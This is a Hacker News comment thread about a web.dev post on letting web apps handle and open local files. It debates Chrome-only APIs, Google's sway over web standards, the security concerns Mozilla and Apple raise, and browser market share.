| Raed667 wrote:
| This will definitely go against the general consensus here; but
| as a frontend developer the association of Google and web.dev
| has never been a mystery to me or my team.
|
| I don't think it is even a case of hiding at all. just a short
| domain handy to be linked to during talks, presentations etc...
| nemetroid wrote:
| Presumably because you already know about the association.
| The "about" page doesn't even mention it. The only hint is
| the footer.
| tyingq wrote:
| Web.dev alparently launched in 2018. Here's a story from when
| it went live: https://sdtimes.com/webdev/google-launches-new-
| website-for-w...
| berniemadoff69 wrote:
| it seems fitting to me that a Google-ran blog about 'web
| development' in 2021 would look like this:
| https://i.imgur.com/XpyBoMR.png
| drenvuk wrote:
| The filesystem api would actually be a godsend regardless of
| whether if it would be limited to a single site owned directory
| or not. Right now we're limited to indexedDB, which is better
| than before where we only had localStorage, but persistence is
| a constant concern. I am always worried about whether the
| browser will just up and delete things. If they make everything
| be private and unsharable i.e. limited to a single domain, that
| includes no sharing between subdomains it would be perfectly
| viable.
|
| The most important thing to note here is that we're looking to
| escape vendor control. A lot of people miss that. If browsers
| can get feature parity with apps that means no more app stores.
| no more app stores means more freedom of choice. Maybe that's
| not good for grandma but it's good for you and me.
|
| There are a few decisions by chrome developers that I will
| never support, like a bunch of stuff in Manifest V3 but
| hopefully with other browser companies will provide a way
| around boneheaded, selfish corporate decisions while we reap
| the benefits of better integration with the operation system.
| kushan2020 wrote:
| I 100% agree that it is a godsend, especially for developers
| who want to offer competent alternatives to shitty electron
| wrapper apps. What makes me really sad is how some of the
| very wise people conflate this to a security risk to an
| average internet surfer.
| jerrygoyal wrote:
| eagerly waiting for squoosh app (wasm) to add context menu option
| to compress selected image(s).
| kinlan wrote:
| I've just pinged the team. :)
| grouphugs wrote:
| it's a good idea for a lot of zero days and fucking up the
| abrahamic nazis shit a bit more
| mr-wendel wrote:
| Ugh, please, no. - I'm already tired of constant
| browser native pop-ups asking for access to things. This is just
| asking for the same treatment: "The site memes.example.com wants
| to be able to open .gif files. [Allow] [Deny]" - Does
| this mean all that extra javascript gets access to the file? This
| isn't an anti-javascript rant, but your average 3rd-party site is
| loading code from all over the web and it's impossible to expect
| users to understand the implications of "open nopebaby.gif with
| ...". I mean, the OS is making it easy, so it must be safe!
|
| Having a thick interface between your files and websites is a
| feature, not a bug.
| c7DJTLrn wrote:
| I say "please no" for other reasons.
|
| The web is already ridiculously feature-bloated. The scope of
| it is reckless. The madness of adding new features to a browser
| for every little use case needs to end.
| rektide wrote:
| There's so many shrill voices insisting the web remain in
| some tight small box, unthreatening to all other interests.
|
| This bent of radical conservatism against online platforms is
| really dismaying to me. The web has, my whole life, gotten
| better & better. Oh yes, there are ads & big companies. But
| it keeps getting richer and more powerful, we keep finding
| new exciting uses, we keep being more creative & empowered
| from the web, & it's ease & connectivity & rich capabilities.
| And wow, there are so many angry men, really upset pissed off
| vocal folk, that can't stand that the web has gotten better.
| That see: oh there are ads, so I need to hate the web, I need
| to hate the web's growth.
|
| I just find it incredibly incredibly sad. The web should
| continue to grow and thrive. But there is such a loud angry
| mob of people who really really really really really really
| really hate that idea. There's no reason, no kindness to
| negotiate or mediate with them. They are just so so angry &
| so against the web's growth. I for one can not imagine having
| such a limited horizon, such limited vision, such deep rooted
| desire to choke off any medium.
| 1234fef wrote:
| This popup style exists in every browser (The site
| memes.example.com wants show you notifications), so how is it
| any more noisy if we allow other things to also prompt you for
| confirmation. To put it in other words, this will have no
| effect on the popup/prompt noisiness that you hate.
|
| Also FYI, these prompts are only shown when a user interacts
| with the website.
| yawaworht1978 wrote:
| Wait, doesn't this open the doors to all kinds of
| vulnerabilities?
|
| Like https://www.cnet.com/news/javascript-opens-doors-to-
| browser-...
| denton-scratch wrote:
| Wy is web.dev's whois REDACTED FOR PRIVACY? Is Google ashamed of
| it? Or does someone else own it?
| ourcat wrote:
| I think this is fairly standard practice these days, depending
| on the location of the registrar. (eg: EU)
| no-dr-onboard wrote:
| Not sure if anyone else is seeing the push here to move more of
| the OSI (whatever, sue me) stack over to the app layer.
|
| Latest two that come to mind is DoH integrations in the browser
| and app specific file handling.
|
| Of course, the question is "well why?" needs to be asked. The
| (non)conspiratorial answer to this is "because Chrome wants more
| control." We're way past the era where a web browser was just
| something that handles just the DOM.
|
| Chrome kernel users when? What about Chrome kernel modules? Where
| do you draw the line?
| panchicore3 wrote:
| I would use it to quicky plot one or many geojsons on a map.
| dmitriid wrote:
| To quote and paraphrase Rich Harris, creator of Svelte [1]:
|
| === quote and paraphrase ===
|
| What is missing is signals from other browser implementors. Until
| this info is included prominently at the top of every web.dev
| article, it will be seen as biased and uninformative. when you
| say "you can do this _today_ ", you're knowingly encouraging
| people to build chrome sites instead of websites!
|
| These are often just drafts created and authored by Googlers, and
| nothing in the web.dev articles even mentions that.
|
| web.dev presents itself (through its domain name, inconspicuous
| Google branding, etc) as a neutral resource for web developers.
| It's not. By not making its Chrome-centric nature clear, you're
| actively making it harder for web developers to get good,
| unbiased info.
|
| === end quote and paraphrase ===
|
| For example, the article claims that "web apps are capable of
| reading and writing files". No, they are not.
|
| It's sort of charitable to say that there's "no signal" from
| either Safari or Firefox on File System APIs [2] and on File
| Handling APIs [3]. However, web.dev presents this as fait
| accompli and expect droves of "omg Safari stifles innovation on
| the web" on HN.
|
| Whereas it's Google ramming incomplete drafts of Chrome-only
| internal APIs through standards bodies and enabling them by
| default in Chrome.
|
| [1]
|
| https://twitter.com/Rich_Harris/status/1399025469559914496 and
| then https://twitter.com/Rich_Harris/status/1399043615280746497
|
| [2] https://www.chromestatus.com/feature/6284708426022912
|
| [3] https://www.chromestatus.com/feature/5721776357113856
| lioeters wrote:
| > It's sort of charitable to say that there's "no signal" from
| either Safari or Firefox on File System APIs
|
| I agree the phrase "no signal" does not accurately communicate
| other browser vendors' position.
|
| Mozilla's current position on File System API is "defer".
|
| > The ability to read and write from the filesystem is
| potentially very dangerous. We will need to carefully consider
| any solution in light of the security and privacy implications.
|
| > We recognize that the spec authors take this issue seriously,
| but we are concerned that any solution will increase the risk
| of security incidents more than we are willing to tolerate.
| Right now, there isn't enough detail in the specification to
| make an assessment of these risks, so we will defer our
| decision until we have more information.
|
| https://mozilla.github.io/standards-positions/#native-file-s...
|
| ..And Safari's position:
|
| > Apple's WebKit team does not support this feature due to the
| security / safety concerns.
|
| https://lists.webkit.org/pipermail/webkit-dev/2020-August/03...
| zozbot234 wrote:
| Webapps can _load_ and _save_ files by explicitly prompting the
| user. This works in every browser. Random file or directory
| access is not provided for by existing standards, but simple
| load and save are enough for many use cases.
| Leherenn wrote:
| Not every browser, you can't save a file on iOS 12 (well only
| to iCloud, and you can't name them).
| sorenjan wrote:
| I don't like that they refer to web apps and browser when they
| actually mean Chromium apps on the web and Chromium based
| browsers. Reminds me of a certain embrace, extend strategy.
| roberto wrote:
| They mean progressive web apps, and they exist in other
| browsers. Firefox, eg: https://developer.mozilla.org/en-
| US/docs/Web/Progressive_web...
|
| More info: https://web.dev/install-criteria/
| sorenjan wrote:
| They write "Now that web apps are capable of reading and
| writing files", and link to their article about the File
| System Access API, which is a Chromium only API. They're
| trying to make it look like Chrome only apps are regular web
| apps, and if they doesn't work in other browsers that's on
| them and you should just switch to Chrome instead. They want
| Chrome to be thought of as the default web experience.
|
| https://caniuse.com/native-filesystem-api
| spystath wrote:
| This might be me being pessimistic but there are no web
| standards any more. It's Chrome standards. You can fall in
| line or drift into obsolescence. We never really got rid of
| the IE dominance on the web, we merely exchanged one boss
| for another. I get it it's not _quite_ the same since we
| don't have the ActiveX nonsense any more but it certainly
| feels like we're living in Google's vision of the web.
| Monocultures are harmful but that's we get to live with.
| theturtletalks wrote:
| We are living in Google's vision of the web, but isn't
| that the cost of disruption? The Chrome team set out to
| build a better browser and even open sourced the core,
| Chromium. Many browsers are built on Chromium now and
| there is a standard for extensions on the horizon.
|
| No one is stopping another company from disrupting Chrome
| and making their own vision of the web by building a
| better browser. It's not going to be easy, but neither
| was it for Google. Many new web technologies like PWAs
| originated with Chrome and are slowly diffused to the
| other browsers. Apple, on their own, would never have
| pushed for PWAs and even now, their support for them are
| lackluster.
| Karellen wrote:
| > The Chrome team set out to build a better browser and
| even open sourced the core, Chromium.
|
| I think that rewrites history a bit. They started with a
| Free Software browser - Konqueror/KHTML - and were
| required to release changes under a compatible license.
|
| We should be thankful that Konqueror/KHTML was released
| under a Free Software license, rather than a permissive
| open source license that would have allowed Google to
| deny us the rights that they had been granted by their
| upstream.
| zepto wrote:
| I think that rewrites history a bit. They started with a
| Free Software browser - WebKit...
| funcDropShadow wrote:
| And WebKit was a more or less friendly fork of
| KHTML/Konqueror.
| zepto wrote:
| It was a fork - so what Google started with was not
| actually KHTML and the amount of work done after the fork
| before Google started using it was much greater than that
| done before.
| anjbe wrote:
| > We should be thankful that Konqueror/KHTML was released
| under a Free Software license, rather than a permissive
| open source license
|
| Your wording suggests that permissive licenses are not
| "Free Software" licenses, which is incorrect. Even the
| FSF acknowledges that permissive licenses like BSD, ISC,
| MIT, and Apache are free.
| z3t4 wrote:
| I think Apple was first with progressive web apps (PWA)
| as in web apps that could be installed to the "home
| screen". iPhone was meant to only run these web apps.
| Then Apple made a 360 in favor of "native" apps in order
| to get more performance. Also FirefoxOS was and still
| lives on (KaiOS) using web apps.
| least wrote:
| It's a problem because Google is constantly implementing
| new APIs, creating new file formats that are "open-
| source" but de facto controlled by them, and "advancing"
| the web by advancing their own interests rather than the
| interests of consumers of the web.
|
| There are so many web apps that fail ungracefully on
| Safari and Firefox that work perfectly fine on Chrome. Or
| apps that have significantly better performance on
| Chrome, including Google's own products like Gmail and
| Youtube. As a tech enthusiast I know that the reason is
| because Google makes it work that way, but for a typical
| user they'll likely blame the browser that is being
| shoved on them by their tech-literate family member and
| run back to Chrome because it "just works."
|
| The only check against Google's hegemony of the web is
| Apple not allowing anything but webkit be the renderer on
| iPhones. It's the only platform that is large enough and
| important enough that Google doesn't have completely
| unfettered access to implementation of features that
| advance their ad-tech needs.
|
| There's a difference between being disruptive and
| destructive. Google's a destructive force to the web.
| theturtletalks wrote:
| > It's a problem because Google is constantly
| implementing new APIs, creating new file formats that are
| "open-source" but de facto controlled by them
|
| But this is a critique of open source as a whole. The
| maintainer (or the team) will have final say and control
| about the product they built. If the product is
| extensively used, then that team will have heavy
| influence.
|
| These new APIs will be used by early adopters and if they
| provide actual value, they should be added to the other
| browsers. One would think most production apps will not
| use Chrome only APIs until they are supported by all
| major browsers. But at least the ball is rolling in the
| right direction.
|
| Apple and Microsoft had a chance to compete with Chrome
| early on but brushed it aside. When Chrome added search
| in the URL bar, it was innovative. When they add new APIs
| now, it's too much?
| least wrote:
| > But this is a critique of open source as a whole. The
| maintainer (or the team) will have final say and control
| about the product they built. If the product is
| extensively used, then that team will have heavy
| influence.
|
| It's not, really. Yeah, maintainers of large projects
| have large influence over that particular project but
| much of open source is insulated from the real world
| through various abstractions, including the _web._
|
| Developers of React might have a lot of influence over
| how programmers approach web development but that's not
| something visible to end users. When Google pushes
| something like WebP to the web, it becomes a standard
| simply because it's supported by Chrome and not because
| of any process of standardization outside of Google.
| Safari only just added support for WebP last year but if
| a website used WebP without a fallback to jpeg/png then
| the website becomes functionally worse and is visibly
| broken to consumers.
|
| > These new APIs will be used by early adopters and if
| they provide actual value, they should be added to the
| other browsers. One would think most production apps will
| not use Chrome only APIs until they are supported by all
| major browsers.
|
| There are many many cases online of websites that simply
| do not function at all correctly on Safari and/or Firefox
| because they _do_ use chrome-only APIs or they only test
| their web apps on Chrome. There are large corporations
| whose web apps (like their online shops) don 't even work
| correctly on iOS' browsers. One would think, but reality
| doesn't match your expectations.
|
| > Apple and Microsoft had a chance to compete with Chrome
| early on but brushed it aside. When Chrome added search
| in the URL bar, it was innovative. When they add new APIs
| now, it's too much?
|
| Improvements made to user chrome has no implications on
| the web as a whole. Adding search to the address bar
| doesn't make Youtube or Gmail function worse on other web
| browsers.
|
| I think it's important that browsers are able to improve
| the web. I'm not against the idea of Google _proposing_
| adding new functionality through new APIs. The problem is
| that they can do that without any oversight from anyone
| else. They create a new technology that is controlled by
| them and introduce it to the web where they already have
| massive influence (#1 search, #1 video website, #1 email,
| etc) and expect everyone else to simply fall in line.
| Companies like Mozilla don 't have any recourse here. No
| single company should have that much influence over the
| web.
|
| Yet here we are where one company has control over some
| of the biggest websites on the web while having influence
| over how visible any other website is due to being the
| biggest search engine on the web while also controlling
| the browser that everyone is using while also controlling
| the operating system that is the most used in the world
| all while being a company that their primary business is
| harvesting people's information to serve targeted
| advertisements.
| dmitriid wrote:
| > No one is stopping another company from disrupting
| Chrome and making their own vision of the web by building
| a better browser.
|
| It's is almost impossible for anyone to create a new
| browser. Even for a corporation with near-unlimited
| resources it would be a daunting task. Hell, _Microsoft_
| gave up, and they are definitely not short on resources.
|
| At the time of this writing Chrome ships 7600 web apis
| [1]. Firefox and Safari ship 6500 and 6300 respectively.
| Chrome will happily ram its own internal APIs through
| standards committees with nothing but a lip-service to
| the other implementors because this only assures Chrome's
| dominance. This also assures that no other browser will
| ever appear.
|
| > Many new web technologies like PWAs originated with
| Chrome. Apple, on their own, would never have pushed for
| PWAs and even now, their support for them are lackluster.
|
| Ah yes. The bad-bad Apple. How can Apple _not_ be bad
| when we have the great saviour of the web, the Saint
| Disruptor Chrome.
|
| Meanwhile, _both_ Apple _and_ Mozilla are increasingly on
| the same side with regards to the non-standards that
| Chrome rams through: they are vocally _opposed_.
|
| A very-very non-exhaustive list:
| https://webapicontroversy.com These "disruptions" are so
| badly specified (read: are so Chrome-only) that sometimes
| the devs from competing browsers can't even understand
| them: https://github.com/mozilla/standards-
| positions/issues/459#is...
|
| And yet, Chrome will have you believe that these
| standards are not only there, but that they are complete
| (so many of them are just drafts that have been cobbled
| together by some googlers), and that they are immediately
| available and can be used (they can only be used in
| Chrome).
|
| [1] https://web-confluence.appspot.com/#!/confluence
|
| Edit: grammar and typos
| theturtletalks wrote:
| I do get your point, Chrome is launching new APIs faster
| than the other guys can catch up. My issue is that the
| others guys had a lot of time to create the APIs Chrome
| is creating now and has created. When Chrome was focused
| on making the web better, these guys were working on
| making it more restrictive.
|
| On https://webapicontroversy.com, I see these APIs that
| Chrome supports that clash with Mozilla:
|
| Web Bluetooth API Web NFC API Web USB API
|
| These seem like useful APIs. Mozilla seems against these
| due to security risk, but then why not work on a protocol
| that is safe? Bringing NFC, USB, and Bluetooth to the web
| is important in my opinion. Apple still doesn't let you
| connect a bluetooth device via WebKit, but guess what?
| You can pay to install a browser on the App Store that
| does.
|
| Nothing is going to be perfect at the beginning but if
| Mozilla is so against it, the best response is a better
| product.
| dmitriid wrote:
| > When Chrome was focused on making the web better, these
| guys were working on making it more restrictive.
|
| What the hell are you talking about? Safari and Firefox
| were building a better web long before Chrome even came
| onto the scene.
|
| Safari precedes Chrome by 5 years.
|
| Firefox precedes Chrome by 6 years.
|
| They were both making the web better when _IE6_ held
| something like 99% of the market.
|
| > Mozilla seems against these due to security risk, but
| then why not work on a protocol that is safe?
|
| What the hell are you talking about? You want Mozilla to
| implement a new safe protocol to replace USB?
|
| > but if Mozilla is so against it, the best response is a
| better product.
|
| Yes, and _both_ Mozilla _and_ Safari are against WebUSB
| for one simple reason: they want _a better product_ that
| doesn 't compromise user security. But sure, why they
| don't just build one, right?
|
| Chrome doesn't care and ships it anyway, and for some
| reason you're saying it's Google who are building a
| better product. No. They are building a product that's
| better _for Google_ , first and foremost, and everyone
| else (including security, privacy, long-term health and
| sustainability of the web) be damned.
| 1234fef wrote:
| It is actually sad that other browsers are not going ahead
| supporting this API. The authors of this spec are really
| trying hard that other browsers also move forward with this
| API, but the maintainers of the other browsers confusingly
| think this is a threat to the web ecosystem.
|
| [1] Mozilla https://github.com/mozilla/standards-
| positions/issues/154 [2] Brave
| https://github.com/brave/brave-browser/issues/11407
| dfabulich wrote:
| There are basically four votes that matter, corresponding
| to the four major browsers: Google (Chrome), Apple
| (Safari), Microsoft (Edge) and Mozilla (Firefox).
|
| Google claims that "browsers" support an API if it's
| supported in Chrome and in Microsoft Edge, a Chromium-based
| browser.
|
| I think that's a fair claim, because MS does sometimes
| block Chromium features that they don't like.
| https://www.techradar.com/news/microsoft-edge-becomes-
| latest...
|
| Microsoft could have blocked File System Access, for some
| of the same reasons that Mozilla did, but they didn't; they
| elected to enable the feature.
|
| Since Microsoft + Google together have 70% share of desktop
| web, and since Microsoft agrees with Google that the File
| System Access API is a good thing for the web, I think it's
| not wrong to say that "browsers" support this feature.
|
| Now, you might say, "Microsoft shouldn't count!" but Edge's
| market share is bigger than Firefox, and we all agree that
| Mozilla's vote should count (at least as long as they can
| hang on to 3% market share).
| OJFord wrote:
| > Now, you might say, "Microsoft shouldn't count!" but
| Edge's market share is bigger than Firefox
|
| That honestly surprised me, but you're right [0] - though
| only 0.01% (StatCounter) or 1.65% (NetMarketShare) in it,
| depending who you listen to.
|
| I'm not sure about the latter, but I'd have thought 0.01%
| is down in the noise of misreported user agent, which FF
| users are probably the most likely to be doing.
|
| [0] - https://en.wikipedia.org/wiki/Usage_share_of_web_br
| owsers#Su...
| ysavir wrote:
| How reliable is the 3% rating?
|
| Looking at the sources used on the wikipedia page[0], it
| seems pretty skeptical. For one, the services for
| collecting the data seem to be depending on tracking APIs
| from partnered sites. Does Firefox typically allow those
| through? Is it reasonable to question whether that's a
| reliable methodology when one of the values of the
| browsers is preventing such tracking in the first place?
|
| And it shows NetMarketShare data being as current as of
| May 2021, despite NetMarketShare not providing data
| beyond Oct 2020[1]. And the last dataset of
| NetMarketShare has Firefox at 7%. Publicly, at least.
| Looking around the site it seems people may have access
| to the internal API, but questions about data integrity
| remain (now in conjunction on whether unverifiable data
| from an API should be used on Wikipedia).
|
| Is there something more I and others should know about
| these data collectors?
|
| [0] https://en.wikipedia.org/wiki/Usage_share_of_web_brow
| sers#Su... [1]https://netmarketshare.com/ "...we are
| retiring NetMarketShare in its current form. October,
| 2020 is the last month of data."
| mr_toad wrote:
| > Microsoft could have blocked File System Access, for
| some of the same reasons that Mozilla did, but they
| didn't; they elected to enable the feature.
|
| Microsoft thought ActiveX was a good idea.
| Sleepytime wrote:
| Mozilla is also funded nearly half a billion dollars a
| year by Google, so that makes three that are controlled
| directly or indirectly by G.
| nicoburns wrote:
| In practice I don't think google exerts much control over
| Mozilla.
| staunch wrote:
| Sure, Mozilla just decided "independently" that building
| in ad-blocking would not be a competitive advantage vs
| Chrome.
| nicoburns wrote:
| They did independently decide that they'd maintain the
| extension APIs that allow ublocj origin to work even
| though Chrome is probably dropping them
| [deleted]
| staunch wrote:
| And yet they don't make uBlock Origin a pre-installed
| plugin for 500 million mysterious reasons.
| beebeepka wrote:
| As a long time noscript user, I would be pissed if
| Mozilla were to install an ad blocker on any of my
| devices.
| Sleepytime wrote:
| In practice when Mozilla is the only real competition to
| Chrome and wouldn't exist without Google's funding, it's
| a conflict of interest regardless.
|
| All it does is make the situation more 'death by a
| thousand papercuts' than any single standard/extension.
| dmitriid wrote:
| And the only reason Google sponsors them is to pretend
| there's competition.
| dfabulich wrote:
| > Mozilla is the only real competition to Chrome
|
| Apple is the only real competition to Chrome. Apple has
| 18% market share, compared to Mozilla's 3%.
| https://gs.statcounter.com/browser-market-share
| Sleepytime wrote:
| I don't consider a closed source browser on equal
| footing. Is there a safari equivalent to chromium?
| samatman wrote:
| Not entirely, but sort of.
|
| https://webkit.org
| corobo wrote:
| It still has market share no matter how open or closed it
| is lmao
| jfrunyon wrote:
| Firefox doesn't support PWA and has no plans to.
| https://bugzilla.mozilla.org/show_bug.cgi?id=1682593#c8
| kevincox wrote:
| Note that PWA is a concept, not a specific set of features
| or APIs. This makes a lot of this discussion confusing and
| mostly meaningless. Furthermore this bug is about a browser
| feature. The similar "PWA" API here would be
| https://developer.mozilla.org/en-
| US/docs/Web/Manifest/displa... which is supported by
| Firefox for Android so it isn't like Firefox won't support
| "PWA" as a whole and will reject all of the related APIs.
|
| And remember that PWA is _Progressive_ Web Application. The
| P is from Progressive Enhancement[1]. This means that
| missing an API or two doesn 't mean that your browser
| doesn't support PWAs. It just means that some PWAs will
| have less functions or give a less "app-like" experience.
|
| [1] https://en.wikipedia.org/wiki/Progressive_enhancement
|
| TL;DR that bug is mostly meaningless, the underlying APIs
| are what matter.
| jfrunyon wrote:
| "Sure, they don't support PWAs, but they support pieces
| of PWAs, so really they support PWAs"
| hvasilev wrote:
| This looks like an API that is a bug away from allowing a website
| to have full access to everything on your file system.
| beebeepka wrote:
| One man's bug is another company's feature
| zemo wrote:
| Google and the other cloud companies' strategy is mostly all the
| same: they want to charge rent on every computer application
| possible. What has started to change in popular perception is the
| image of the cloud providers having all of your data. Why should
| they have all of my data? A reasonable reaction to the status quo
| of cloud applications.
|
| This is just as nefarious as a traditional SAAS application, if
| not more so. Google is setting up a system whereby you can have
| the data on your own machine, but the actual logic of how to
| interpret the data is still loaded off of a server on-demand,
| with the end goal being that they can charge you rent to access
| files on your own device. Pretty cool for them, but seems like a
| raw deal for the end-user.
| api wrote:
| The "free as in beer" software movement normalized the idea
| that locally run software should all be free, so the center of
| new software development moved to a cloud-first model. The
| cloud is the only DRM that works, so cloud software can never
| be pirated either.
|
| "We need to liberate ourselves from closed-source software!"
|
| Result: the software moves where it can't be liberated.
|
| It's not some big conspiracy. It's like how a plant grows
| toward the sun. It's that software is very labor intensive to
| produce and there must be an economic model. If there's no
| economic model in one place, it goes somewhere else where there
| is.
|
| If we want computing to be open, free, and user-centric (rather
| than user-exploiting), we have to restructure the industry so
| that that's where the money is.
| aYsY4dDQ2NrcNzA wrote:
| Honest question: restructure it how?
|
| The link to a succinct explanation would be much appreciated.
| dirkc wrote:
| I read the title and for a moment I got excited and thought,
| that's a good idea, what if using a website was like using a
| program that operates on a file with all my data in there and
| next time I want to use the site I need to open my file before I
| can do anything.
| ferdowsi wrote:
| This is very neat. Looking forward to ICS files actually being
| useful again!
___________________________________________________________________
(page generated 2021-06-14 23:01 UTC)